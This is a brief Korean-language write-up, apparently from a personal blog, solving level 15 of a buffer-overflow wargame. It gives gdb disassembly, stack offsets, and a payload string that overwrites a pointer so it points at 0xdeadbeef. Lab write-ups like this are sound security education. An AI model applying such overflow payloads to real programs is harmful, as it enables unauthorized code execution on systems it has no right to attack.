level 15

by sonysame 2016. 10. 12.

1. 버퍼오버플로우

2. *check==0xdeadbeef

0x080484ad <main+29>: mov 0xfffffff0(%ebp),%eax

0x080484b0 <main+32>: cmpl $0xdeadbeef,(%eax)

이부분이 힌트이다!

ebp: 0xbffff678

check: ebp-16

deadbeef: 0x80484b2

fgets 부분: 0xbffff640

A*40+\xb2\x84\x04\x08"+A*12+A*4+RET부분!

sonyCYDFsame